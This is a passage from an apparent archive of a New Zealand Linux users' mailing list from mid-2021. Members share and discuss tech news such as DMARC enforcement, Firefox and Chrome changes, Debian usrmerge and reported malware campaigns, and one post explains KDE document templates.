allergy to, they wasted 18 months of product development time excising the Java dependency, totally losing the window of opportunity for releasing a new device. When the Kin finally came out, it probably held the world record for some product category for the shortest time on the market before being heavily discounted in clearance sales (about a month). One key point is that, when Google acquired Android, they continued to let it run like an independent company, at least for the first few years. This allowed the innovation to continue to flourish ... at least for a while.

1 0

Fwd: [NZLUG] Call for Proposals - Sysadmin Miniconf at Linux.conf.au 2022
by Peter Reutemann 13 Aug '21

13 Aug '21

Apologies for cross-posting, but you might be interested in the call for papers outlined below. Cheers, Peter ---------- Forwarded message --------- From: Simon Lyall <simon(a)darkmere.gen.nz> Date: Thu, Aug 12, 2021 at 11:29 PM Subject: [NZLUG] Call for Proposals - Sysadmin Miniconf at Linux.conf.au 2022 To: NZ Linux Users Group <nzlug(a)lists.nzoss.org.nz> The Call for Proposals is now up for the Sysadmin Miniconf at Linux.conf.au 2022. The Miniconf is on January 14th and the rest of the conference is the 2 days afterwards. All events are online. We are looking for 30 minute long Operations-related talks. We'd particularly love your War Stories about responding to the global pandemic and general work for home, or how you avoided earning war stories. The good news is that all talks accepted to the Miniconf get a free ticket for the whole of the conference! The bad news is that the CFP closes in just over 3 weeks from now on September 5th. So don't delay getting your proposal in. See our long CFP for more details: https://sysadmin.miniconf.org/cfp22.html Then Register and Login the the Conference dashboard to submit a proposal: https://linux.conf.au/dashboard -- Simon Lyall | Very Busy | Web: http://www.simonlyall.com/ "To stay awake all night adds a day to your life" - Stilgar _______________________________________________ NZLUG mailing list NZLUG(a)lists.nzoss.org.nz http://lists.nzoss.org.nz/mailman/listinfo/nzlug -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Centralization Versus Decentralization On The Internet
by Lawrence D'Oliveiro 12 Aug '21

12 Aug '21

A thoughtful, at times somewhat technical article <https://www.theregister.com/2021/08/11/decentralized_internet/> on the original philosophy of the designers of the Internet that nothing should be centralized, and how that was modified somewhat with the concept of “Software-Defined Networking”, without compromising the robustness of a decentralized underlying framework. The World-Wide Web, on the other hand, is a very different matter: rampant centralization, not just at the level of social-media networks and cloud services, but also at the lower layer of “Content-Delivery Networks” (CDNs) has led to the creation of way too many of what the engineers call SPOFs (“Single Points Of Failure”), where a breakdown in any of these can lead to a complete failure of any number of services that have become crucially dependent on them. Is the pendulum swinging away from centralization now? The author seems to think so; but I suspect the fat profit margins are still driving things in the wrong direction.

1 0

Firefox 91 Pushes Privacy With Stronger New Cookie-clearing Option
by Peter Reutemann 11 Aug '21

11 Aug '21

'WIth the release of Firefox 91 on Tuesday, Mozilla has introduced a bigger hammer for smashing the cookies that websites, advertisers and tracking companies can use to record your online behavior. From a report: The new feature, called enhanced cookie clearing, is designed to block tracking not just from a website, but also from third parties whose code appears on the site. The technology is designed to let you clear cookies for a particular website but also the more aggressive "supercookies" designed to evade lesser privacy protections. The feature is an option if you enable Firefox's strict mode for cookie handling, which partitions website data into separate storage containers. "You can easily recognize and remove all data a website has stored on your computer, without having to worry about leftover data from third parties embedded in that website," Mozilla said in a blog post. ' -- source: https://news.slashdot.org/story/21/08/10/1637219 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 858-5174 (office) +64 (7) 577-5304 (home office) http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Re: DMARC enforced
by Lawrence D'Oliveiro 09 Aug '21

09 Aug '21

On Mon, 9 Aug 2021 13:09:11 +1200, Peter Reutemann via wlug wrote: > "The university will be changing the DMARC action for the domain space > waikato.ac.nz from quarantine to reject on Monday 16th August." Just been looking at the DMARC overview <https://dmarc.org/overview/>, and I think there is some confusion here. What the University is doing is changing the recommended action for other MTAs receiving mail purporting to come _from_ the waikato.ac.nz domain, not the action it takes on receiving mail sent _to_ the waikato.ac.nz domain. In other words, this shouldn’t really make any difference to members of this list. If the systems that pick up their mail do DMARC checks, this shouldn’t matter (assuming the Uni sysadmins haven’t misconfigured anything ;)); if they don’t, it doesn’t matter anyway.

2 1

Re: DMARC enforced
by Lawrence D'Oliveiro 09 Aug '21

09 Aug '21

On Mon, 9 Aug 2021 13:09:11 +1200, Peter Reutemann via wlug wrote: > Just received an email from the IT department: > "The university will be changing the DMARC action for the domain space > waikato.ac.nz from quarantine to reject on Monday 16th August." What was the effect of “quarantine” before? Would it have been causing delays in posts getting through? (Because I don’t think I noticed any on mine.) On a further look, I found the following header line in the echo of my last posting back to myself: spf=pass (google.com: best guess record for domain of ldo(a)geek-central.gen.nz designates 72.249.182.57 as permitted sender) So it seems like Google’s algorithms are smart enough to figure out that my mail is coming from an address associated with that domain.

2 1

Re: DMARC enforced
by David McNab 09 Aug '21

09 Aug '21

And for added 'fun' (as opposed to fun), we just need outside senders' mailservers to quietly drop the resulting NDR messages :P On Mon, 9 Aug 2021 at 13:09, Peter Reutemann via wlug < wlug(a)list.waikato.ac.nz> wrote: > > > > ---------- Forwarded message ---------- > From: Peter Reutemann <fracpete(a)waikato.ac.nz> > To: wlug List <wlug(a)list.waikato.ac.nz> > Cc: > Bcc: > Date: Mon, 9 Aug 2021 13:09:11 +1200 > Subject: [wlug] DMARC enforced > Hi everyone > > Just received an email from the IT department: > "The university will be changing the DMARC action for the domain space > waikato.ac.nz from quarantine to reject on Monday 16th August." > > However, for mailing lists they put some mitigation options in place. > > Please let me know if you encounter any problems posting to the WLUG > list (starting next week). > > Cheers, Peter > -- > Peter Reutemann > Dept. of Computer Science > University of Waikato, NZ > +64 (7) 577-5304 > http://www.cms.waikato.ac.nz/~fracpete/ > http://www.data-mining.co.nz/ > > > > ---------- Forwarded message ---------- > From: Peter Reutemann via wlug <wlug(a)list.waikato.ac.nz> > To: wlug List <wlug(a)list.waikato.ac.nz> > Cc: Peter Reutemann <fracpete(a)waikato.ac.nz> > Bcc: > Date: Mon, 9 Aug 2021 13:09:11 +1200 > Subject: [wlug] DMARC enforced > _______________________________________________ > wlug mailing list -- wlug(a)list.waikato.ac.nz | To unsubscribe send an > email to wlug-leave(a)list.waikato.ac.nz > Unsubscribe: > https://list.waikato.ac.nz/postorius/lists/wlug.list.waikato.ac.nz >

1 0

DMARC enforced
by Peter Reutemann 09 Aug '21

09 Aug '21

Hi everyone Just received an email from the IT department: "The university will be changing the DMARC action for the domain space waikato.ac.nz from quarantine to reject on Monday 16th August." However, for mailing lists they put some mitigation options in place. Please let me know if you encounter any problems posting to the WLUG list (starting next week). Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Linux Trace Toolkit Next Generation 2.13 Facilitates Quick Reaction To Kernel/User-space Instrumentation Hits
by Peter Reutemann 09 Aug '21

09 Aug '21

'LTTng has been called "the killer app for system-level debugging and performance tuning." And now long-time Slashdot reader compudj writes: It's the official release of LTTng 2.13 — Nordicité! LTTng is a kernel and user-space tracer for Linux. The most notable features of this release are: - Event-rule matches condition triggers and new actions, allowing internal actions or external monitoring applications to quickly react when kernel or user-space instrumentation is hit - Notification payload capture, allowing external monitoring applications to read elements of the instrumentation payload when instrumentation is hit. - Instrumentation API: vtracef and vtracelog (LTTng-UST) - User space time namespace context (LTTng-UST and LTTng-modules).' -- source: https://linux.slashdot.org/story/21/08/07/182213 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Facebook Fiercely Guards The Privacy Of Its Advertisers
by Lawrence D'Oliveiro 07 Aug '21

07 Aug '21

Facebook has shut down all accounts and access for New York University’s Ad Observatory project <https://www.theregister.com/2021/08/04/facebook_research_lockdown/>. This project was using a browser extension to garner information about ads shown to Facebook users without the cooperation of Facebook itself. However, the project <https://adobservatory.org/> tries to be fully transparent about what it is doing to volunteers who choose to install the extension, and as is common these days, the source code is available on GitHub. Part of Facebook’s excuse is that the extension is somehow scraping information from the website that is “not publicly viewable”. How such information is getting to the user’s browser is not explained. Facebook has its own alternative research platform, called “FORT”, that it makes available to selected researchers on a strictly controlled basis. One of the conditions is that Facebook is given pre-publication access to research papers in order to identify--and remove--information that it considers to be “confidential”. Naturally, this kind of thing rings alarm bells for researchers. Another group has published an open letter <https://freedom-to-tinker.com/2021/08/05/facebooks-illusory-promise-of-tran…> pointing out why this is not an acceptable alternative.

1 1

Firefox Lost Almost 50 Million Users In 3 Years
by Peter Reutemann 05 Aug '21

05 Aug '21

'A report from It's FOSS, written by Ankush Das: Mozilla's Firefox is the only popular alternative to Chromium-based browsers. It has been the default choice for Linux users and privacy-conscious users across every platform. However, even with all benefits as one of the best web browsers around, it is losing its grip for the past few years. I came across a Reddit thread by u/nixcraft, which highlighted more details on the decline in the userbase of Firefox since 2018. And surprisingly, the original source for this information is Firefox's Public Data Report. As per the official stats, the reported number of active (monthly) users was about 244 million at the end of 2018. And, it seems to have declined to 198 million at the end of Q2 2021. So, that makes it a whopping ~46 million decline in the userbase. Considering 2021 is the year when privacy-focused tools saw a big boost in their userbase, Mozilla's Firefox is looking at a constant decline. Especially when Firefox manages to introduce some industry-first privacy practices. Quite the irony, eh? Just for fun, here's a timeline of our stories reporting on Firefox's download milestones from the mid-2000s: September 19, 2004: 1 Million Firefoxes in 4 Days December 12, 2004: Firefox Reaches 10 Million Downloads February 17, 2005: Firefox Breaks 25 Million Downloads April 26, 2005: Firefox nears 50 Million Downloads July 29, 2005: Firefox Downloads Reach 75 Million October 19, 2005: Firefox Tops 100 Million Downloads September 11, 2007: Firefox Hits 400 Million Downloads July 3, 2008: Firefox Breaks 8 Million, Gets Into Guinness' -- source: https://news.slashdot.org/story/21/08/04/2137205 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Google Chrome To No Longer Show Secure Website Indicators
by Peter Reutemann 04 Aug '21

04 Aug '21

'Google Chrome will no longer show whether a site you are visiting is secure and only show when you visit an insecure website. Bleeping Computer reports: To further push web developers into only using HTTPS on their sites, Google introduced the protocol as a ranking factor. Those not hosting a secure site got a potentially minor hit in their Google search results rankings. It has appeared to have worked as according to the 'HTTPS encryption on the web' of Google's Transparency Report, over 90% of all browser connections in Google Chrome currently use an HTTPS connection. Currently, when you visit a secure site, Google Chrome will display a little locked icon indicating that your communication with the site is encrypted, as shown below. As most website communication is now secure, Google is testing a new feature that removes the lock icon for secure sites. This feature is available to test in Chrome 93 Beta, and Chrome 94 Canary builds by enabling the 'Omnibox Updated connection security indicators' flag. With this feature enabled, Google Chrome will only display security indicators when the site is not secure. For businesses who wish to have continued HTTPS security indicators, Google has added an enterprise policy for Chrome 93 named 'LockIconInAddressBarEnabled' that can be used to enable the lock icon again on the address bar. ' -- source: https://tech.slashdot.org/story/21/08/03/2049218 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Google Will Kill Off Very Old Versions of Android Next Month
by Peter Reutemann 04 Aug '21

04 Aug '21

'Ars Technica: Google has started emailing users of very old Android devices to tell them it's time to say goodbye. Starting September 27, devices running Android 2.3.7 and lower will no longer be able to log in to Google services, effectively killing a big portion of the on-rails Android experience. As Google puts it in an official community post, "If you sign in to your device after September 27, you may get username or password errors when you try to use Google products and services like Gmail, YouTube, and Maps." Android is one of the most cloud-based operating systems ever. Especially in older versions, many included apps and services were tied to your Google login, and if that stops working, a large chunk of your phone is bricked. While Android can update many core components without shipping a full system update today, Android 2.3.7 Gingerbread, released around 10 years ago, was not so modular. The individual Google apps started to be updatable through the Android Market/Play Store, but signing in to Google was still a system-level service and is frozen in time. Any Google services wanting to allow sign-ins from those versions would have to conform to 2011-era security standards, which means turning off two-factor authentication and enabling a special "allow less-secure access" setting in your Google account. Really, these old Android versions have to die eventually because they're just too insecure. Google shows active user base breakdowns for Android versions in Android Studio, and Gingerbread has such a low device count that it doesn't even make the list. It's less than 0.2 percent of active devices, behind 14 other versions of Android. Users of these old devices could still sideload a third-party app store and find replacements for all the Google apps, but if you're a technical user and can't get a new device, there's a good chance you could load a whole new operating system with an aftermarket Android ROM. After September 27, the oldest version of Android you'll be able to sign in to is Android 3.0 Honeycomb, which is only for tablets.' -- source: https://tech.slashdot.org/story/21/08/03/207222 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

AMD and Valve Working On New Linux CPU Performance Scaling Design
by Peter Reutemann 03 Aug '21

03 Aug '21

'Along with other optimizations to benefit the Steam Deck, AMD and Valve have been jointly working on CPU frequency/power scaling improvements to enhance the Steam Play gaming experience on modern AMD platforms running Linux. Phoronix reports: It's no secret that the ACPI CPUFreq driver code has at times been less than ideal on recent AMD processors with delivering less than expected performance/behavior with being slow to ramp up to a higher performance state or otherwise coming up short of disabling the power management functionality outright. AMD hasn't traditionally worked on the Linux CPU frequency scaling code as much as Intel does to their P-State scaling driver and other areas of power management at large. AMD is ramping up efforts in these areas including around the Linux scheduler given their recent hiring spree while it now looks like thanks to the Steam Deck there is renewed interest in better optimizing the CPU frequency scaling under Linux. AMD and Valve have been working to improve the performance/power efficiency for modern AMD platforms running on Steam Play (Proton / Wine) and have spearheaded "[The ACPI CPUFreq driver] was not very performance/power efficiency for modern AMD platforms...a new CPU performance scaling design for AMD platform which has better performance per watt scaling on such as 3D game like Horizon Zero Dawn with VKD3D-Proton on Steam." AMD will be presenting more about this effort next month at XDC. It's quite possible this new effort is focused on ACPI CPPC support with the previously proposed AMD_CPUFreq. Back when Zen 2 launched in 2019, AMD did post patches for their new CPUFreq driver that leveraged ACPI Collaborative Processor Performance Controls but the driver was never mainlined nor any further iterations of the patches posted. When inquiring about that work a few times since then, AMD has always said it's been basically due to resource constraints that it wasn't a focus at that time. Upstream kernel developers also voiced their preference to seeing AMD work to improve the generic ACPI CPPC CPUFreq driver code rather than having another vendor-specific solution. It's also possible AMD has been working on better improvements around the now-default Schedutil governor for scheduler utilization data in making CPU frequency scaling decisions. ' -- source: https://hardware.slashdot.org/story/21/08/02/2018218 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

GitHub Mars Helicopter Contributors
by Lawrence D'Oliveiro 03 Aug '21

03 Aug '21

I was looking at some code on GitHub, and I came across a badge I hadn’t seen before on a developer’s account. It turns out it means some of their code was used on NASA’s Mars Ingenuity helicopter <https://github.com/readme/featured/nasa-ingenuity-helicopter>.

1 0

Security Versus Requirements For Internationalization
by Lawrence D'Oliveiro 01 Aug '21

01 Aug '21

Yet another incident <https://arstechnica.com/gadgets/2021/07/with-help-from-google-impersonated-…> of substituting characters with different diacritic marks in a domain name to fool people into visiting the wrong site. Seems this problem is fundamentally unfixable. We need the ability to represent words in non-English languages, simply because the world does not revolve around the English language. And differences in meanings of words just from mixing up those diacritics can sometimes be quite major.

1 0

New Android Malware Records Smartphones via VNC To Steal Passwords
by Peter Reutemann 30 Jul '21

30 Jul '21

'Security researchers have discovered a novel piece of Android malware that uses the VNC technology to record and broadcast a victim's smartphone activity, allowing threat actors to collect keyboard presses and app passwords. From a report: First spotted in March 2021 by Dutch security firm ThreatFabric, this new piece of malware, named Vultur, is a departure from other Android malware strains that usually rely on fake login screens floating on top of legitimate apps to collect a victim's credentials. Instead, Vultur opens a VNC server on the infected phone, and broadcasts screen captures to an attacker command and control server, where the Vultur operator extracts passwords for desired apps.' -- source: https://it.slashdot.org/story/21/07/29/1549220 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Warnings That Work: Combating Misinformation Without Deplatforming
by Lawrence D'Oliveiro 29 Jul '21

29 Jul '21

How do you flag misleading postings on Facebook and elsewhere about vaccination, Covid-19 and other issues? Currently these platforms add a little warning next to the posting. Evidence accumulated over many years has shown that such “contextual” warnings are mostly disregarded. What does work is “interstitial” warnings: something that interrupts the user, and forces them to make a choice to continue. This works for security issues on PCs and when browsing the Internet; it can work for postings on social media, too. This article <https://freedom-to-tinker.com/2021/07/26/warnings-that-work-combating-misin…> goes into more details.

1 0

New On Bitsavers This/Last Week
by Lawrence D'Oliveiro 28 Jul '21

28 Jul '21

Among the recent additions to the Bitsavers retrocomputing archive is a scan of the Mt Xinu 1993 calendar <http://bitsavers.trailing-edge.com/pdf/mtXinu/1993_MT_XINU_Calendar.pdf>. On the flip side of each month’s page is a collection of clippings from some interestingly mythical magazines and newspapers. For example, a purported article on “How to eat a meal near a keyboard -- Safely!” hints at an implement that is both “a mouse AND a scrub-brush!”. The cover of a magazine targeted at “computer professionals” touts a report on “Strategic partnerships: What CEOs should know about space aliens” as well as “DOS removers, do they do what they claim?” And then there’s the ad for improving the productivity of your staff with a department-wide installation of a product called ... UrethraNet ...

1 0

The Debian usrmerge Package
by Lawrence D'Oliveiro 27 Jul '21

27 Jul '21

There is a package in Debian (and no doubt also in its derivatives) called “usrmerge” <https://wiki.debian.org/UsrMerge>. The mere act of installing this will perform a “usr merge” on your system, which means that the contents of /bin are merged with /usr/bin, with the former becoming just a symlink to the latter, and similarly /sbin merged into /usr/sbin, and /lib merged into /usr/lib. Back in the last century, when hard drives were smaller, it was standard practice to put only the minimum core of executables and libraries into /bin, /sbin and /lib that would allow the system to boot into a state where a sysadmin could perform some basic maintenance tasks. All the less crucial, but nice to have stuff, would be in /usr, which would be mounted as a separate disk or partition. This way, I suppose, problems with the /usr volume could be fixed without the entire system becoming unbootable. These days, such a division is considered an anachronism. Debian hasn’t supported booting without /usr available for a long while now. I think some other distros, like Fedora, made the move a long time ago. And if you have problems with your OS partition, it’s easier to boot and fix things with something like SystemRescueCD anyway. Note that the usr merge, once performed, is not (easily) reversible. Also note that new Debian installs have been creating a merged usr system since version 10.

1 0

Microsoft Warns of 'Evolving' LemonDuck Mining Malware Targeting Linux and Windows Machines
by Peter Reutemann 26 Jul '21

26 Jul '21

'The threat intelligence team for Microsoft's 365 Defender security suite recently focused on an example of "modern mining malware infrastructure," describing how "Anything that can gain access to machines — even so-called commodity malware — can bring in more dangerous threats." Specifically, it offered a case study of LemonDuck. The blog post's title? "When coin miners evolve..." Today, beyond using resources for its traditional bot and mining activities, LemonDuck steals credentials, removes security controls, spreads via emails, moves laterally, and ultimately drops more tools for human-operated activity. LemonDuck's threat to enterprises is also in the fact that it's a cross-platform threat. It's one of a few documented bot malware families that targets Linux systems as well as Windows devices. It uses a wide range of spreading mechanisms — phishing emails, exploits, USB devices, brute force, among others — and it has shown that it can quickly take advantage of news, events, or the release of new exploits to run effective campaigns... Notably, LemonDuck removes other attackers from a compromised device by getting rid of competing malware and preventing any new infections by patching the same vulnerabilities it used to gain access... LemonDuck spreads in a variety of ways, but the two main methods are (1) compromises that are either edge-initiated or facilitated by bot implants moving laterally within an organization, or (2) bot-initiated email campaigns. LemonDuck acts as a loader for many other follow-on activities, but one if its main functions is to spread by compromising other systems. Since its first appearance, the LemonDuck operators have leveraged scans against both Windows and Linux devices for open or weakly authenticated SMB, Exchange, SQL, Hadoop, REDIS, RDP, or other edge devices that might be vulnerable to password spray or application vulnerabilities... Other common methods of infection include movement within the compromised environment, as well as through USB and connected drives. These processes are often kicked off automatically and have occurred consistently throughout the entirety of LemonDuck's operation.' -- source: https://linux.slashdot.org/story/21/07/25/2112228 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Mozilla Stops FTP Support in Firefox 90
by Peter Reutemann 25 Jul '21

25 Jul '21

'A post on Mozilla's security blog calls FTP "by now one of the oldest protocols still in use" — and it's suffering from "a number of serious security issues." The biggest security risk is that FTP transfers data in cleartext, allowing attackers to steal, spoof and even modify the data transmitted. To date, many malware distribution campaigns launch their attacks by compromising FTP servers and downloading malware on an end user's device using the FTP protocol. Aligning with our intent to deprecate non-secure HTTP and increase the percentage of secure connections, we, as well as other major web browsers, decided to discontinue support of the FTP protocol. Removing FTP brings us closer to a fully-secure web which is on a path to becoming HTTPS only and any modern automated upgrading mechanisms such as HSTS or also Firefox's HTTPS-Only Mode, which automatically upgrade any connection to become secure and encrypted do not apply to FTP. The FTP protocol itself has been disabled by default since version 88 and now the time has come to end an era and discontinue the support for this outdated and insecure protocol — Firefox 90 will no longer support the FTP protocol.' -- source: https://news.slashdot.org/story/21/07/24/0213220 There is always FileZilla: https://filezilla-project.org/ Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

Researchers Found a Malicious NPM Package Using Chrome's Password-Recovery Tools
by Peter Reutemann 25 Jul '21

25 Jul '21

'Threatpost reports on "another vast software supply-chain attack" that was "found lurking in the npm open-source code repository...a credentials-stealing code bomb" that used the password-recovery tools in Google's Chrome web browser. Researchers caught the malware filching credentials from Chrome on Windows systems. The password-stealer is multifunctional: It also listens for incoming commands from the attacker's command-and-control (C2) server and can upload files, record from a victim's screen and camera, and execute shell commands... ReversingLabs researchers, who published their findings in a Wednesday post, said that during an analysis of the code repository, they found an interesting embedded Windows executable file: a credential-stealing threat. Labeled "Win32.Infostealer.Heuristics", it showed up in two packages: nodejs_net_server and temptesttempfile. At least for now, the first, main threat is nodejs_net_server. Some details: nodejs_net_server: A package with 12 published versions and a total of more than 1,300 downloads since it was first published in February 2019...finally upgrading it last December with a script to download the password-stealer, which the developer hosts on a personal website. It was subsequently tweaked to run TeamViewer.exe instead, "probably because the author didn't want to have such an obvious connection between the malware and their website," researchers theorized... ReversingLabs contacted the npm security team on July 2 to give them a heads-up about the nodejs_net_server and tempdownloadtempfile packages and circled back once again last week, on Thursday, since the team still hadn't removed the packages from the repository. When Threatpost reached out to npm Inc., which maintains the repository, a GitHub spokesperson sent this statement: "Both packages were removed following our investigation...."' -- source: https://developers.slashdot.org/story/21/07/24/0152218 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

'Reading about Firefox makes it seem a faster web browser than Chrome'
by Matthew Skiffington 25 Jul '21

25 Jul '21

Spotted in New Scientist, who sadly paywall everything. 'Going into the test, people overall tended to view Chrome as faster than Firefox (~39 per cent to ~31 per cent). While the researchers noted that many participants brought their own strong brand preferences, priming participants had an effect that overcame the inertia of that affinity. "When respondents read one of the priming articles, we saw a prevalence of the priming effect over brand preferences, providing support for the hypothesis that Firefox is faster after reading about Firefox improvements," the researchers said.' https://www.theregister.com/2021/03/11/mozilla_google_speed/ https://arxiv.org/abs/2103.06181 <https://www.theregister.com/2021/03/11/mozilla_google_speed/> Cognitive psychology + UX/UI, nifty. Cheers, Matthew *Doctoral Researcher, TAIAO project <https://taiao.ai/>Machine Learning Laboratory, FG.2.01LinkedIn <https://www.linkedin.com/in/matthew-skiffington>*

2 1

'Update to Windows Defender will delete files Microsoft doesn't want to exist'
by Matthew Skiffington 23 Jul '21

23 Jul '21

Stumbled across something interesting on r/datahoarder, xpost from r/sysadmin. https://www.reddit.com/r/DataHoarder/comments/oopz4c/update_to_windows_defe… Cheers, Matthew *Doctoral Researcher, TAIAO project <https://taiao.ai/>Machine Learning Laboratory, FG.2.01LinkedIn <https://www.linkedin.com/in/matthew-skiffington>*

2 1

Do Software Bugs Really Cost 100× More To Fix In Production Than In Testing?
by Lawrence D'Oliveiro 23 Jul '21

23 Jul '21

There is an oft-cited claim that if you let a bug get into production code, the cost of fixing it increases a hundredfold, compared to if you had flushed it out during testing. This report <https://www.theregister.com/2021/07/22/bugs_expense_bs/> looks into the basis of that claim, and it seems to originate from a book published in 1987, which gave it a reference “[IBM81]”, which was “course notes at the IBM System Sciences Institute”. Only there was no such “Institute”, it seems it was really just the name for an internal training program for IBM employees. It also seems a related claim, that “defects cost more to fix the later you fix them”, also has weak, if any, empirical support. Nowhere in there is the issue of “technical debt” addressed, though. That is real, and can be very costly, and its costs do increase over time.

1 0

Say hi to Microsoft's own Linux: CBL-Mariner
by Peter Reutemann 23 Jul '21

23 Jul '21

'Ok, so it's not named MS-Linux or Lindows, but Microsoft now has its very own, honest-to-goodness general-purpose Linux distribution: Common Base Linux, (CBL)-Mariner. And, just like any Linux distro, you can download it and run it yourself. Amazing isn't it? Why the next thing you know Microsoft will let you run Windows applications on Linux! Oh, wait it has!' -- source: https://www.zdnet.com/article/say-hi-to-microsofts-own-linux-cbl-mariner/ Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Google Pushed a One-Character Typo To Production, Bricking Chrome OS Devices
by Peter Reutemann 23 Jul '21

23 Jul '21

'Google says it has fixed a major Chrome OS bug that locked users out of their devices. Google's bulletin says that Chrome OS version 91.0.4472.165, which was briefly available this week, renders users unable to log in to their devices, essentially bricking them. From a report: Chrome OS automatically downloads updates and switches to the new version after a reboot, so users who reboot their devices are suddenly locked out them. The go-to advice while this broken update is out there is to not reboot. The bulletin says that a new build, version 91.0.4472.167, is rolling out now to fix the issue, but it could take a "few days" to hit everyone. Users affected by the bad update can either wait for the device to update again or "powerwash" their device -- meaning wipe all the local data -- to get logged in. Chrome OS is primarily cloud-based, so if you're not doing something advanced like running Linux apps, this solution presents less of an inconvenience than it would on other operating systems. Still, some users are complaining about lost data.' -- source: https://it.slashdot.org/story/21/07/22/1955245 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

16-Year-Old HP Printer-Driver Bug Impacts Millions of Windows Machines
by Peter Reutemann 22 Jul '21

22 Jul '21

'Researchers have released technical details on a high-severity privilege-escalation flaw in HP printer drivers (also used by Samsung and Xerox), which impacts hundreds of millions of Windows machines. If exploited, cyberattackers could bypass security products; install programs; view, change, encrypt or delete data; or create new accounts with more extensive user rights. The bug (CVE-2021-3438) has lurked in systems for 16 years, researchers at SentinelOne said, but was only uncovered this year. It carries an 8.8 out of 10 rating on the CVSS scale, making it high-severity. According to researchers, the vulnerability exists in a function inside the driver that accepts data sent from User Mode via Input/Output Control (IOCTL); it does so without validating the size parameter. As the name suggests, IOCTL is a system call for device-specific input/output operations. "This function copies a string from the user input using 'strncpy' with a size parameter that is controlled by the user," according to SentinelOne's analysis, released on Tuesday. "Essentially, this allows attackers to overrun the buffer used by the driver." Thus, unprivileged users can elevate themselves into a SYSTEM account, allowing them to run code in kernel mode, since the vulnerable driver is locally available to anyone, according to the firm. The printer-based attack vector is perfect for cybercriminals, according to SentinelOne, since printer drivers are essentially ubiquitous on Windows machines and are automatically loaded on every startup. "Thus, in effect, this driver gets installed and loaded without even asking or notifying the user," explained the researchers. "Whether you are configuring the printer to work wirelessly or via a USB cable, this driver gets loaded. In addition, it will be loaded by Windows on every boot. This makes the driver a perfect candidate to target since it will always be loaded on the machine even if there is no printer connected." -- source: https://hardware.slashdot.org/story/21/07/21/2235207 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

Adding Custom Entries To A Create-New-Document Menu
by Lawrence D'Oliveiro 22 Jul '21

22 Jul '21

If you look at a file/folder view in various of the common GUI file managers, you should see a contextual menu item with a name like “Create New”, showing a submenu of different document types (e.g. “Text File...”, “Spread Sheet Document...”) that you can create in that location. Select an item, it asks you for a name for the new document, and it creates it under that name, as a copy of the template provided for that document type. You can then click to open the newly-created document in the corresponding app and continue working with it in the usual way. This is an alternative to launching the app, creating a new untitled document, then using its “Save-As” function to name the document file. Of course, you can easily create your own templates. On KDE, when I type kde4-config --path templates to find out where a KDE-based file manager like Dolphin finds these templates, it reports /home/ldo/.kde/share/templates/:/usr/share/templates/ The latter contains templates installed systemwide by repo packages, while the former can contain whatever I like. As to the format of these template files? They are just another variation on the ever-popular text-based .desktop file format, which is used for example to define entries in your application menu, and icons on the desktop (for those who like that sort of thing). Oddly, the official spec for this only briefly mentions <https://specifications.freedesktop.org/desktop-entry-spec/latest/ar01s06.ht…> “Type=Link”, without explaining this option further (that I can find). But some searching found this useful post <https://forum.kde.org/viewtopic.php?f=224&t=119342> on the KDE user forums. For example, if I look at /usr/share/templates/Illustration.desktop on my system, besides all the localized versions of the name to show for this option, there are the lines Type=Link URL=.source/Illustration.odg That “URL” is actually a file path relative to the .desktop file itself, referencing a document template to be copied as the initial state of the new document. Looking in the referenced directory, /usr/share/templates/.source/, I do indeed see the file Illustration.odg, along with many others. The association of the file extension with the app, in this case LibreOffice Draw, is handled through a separate spec, the shared MIME database <https://www.freedesktop.org/wiki/Specifications/shared-mime-info-spec/>. This is also widely supported by GUI desktop environments.

1 1

PlasticArm is a 32-bit bendable processor
by Peter Reutemann 22 Jul '21

22 Jul '21

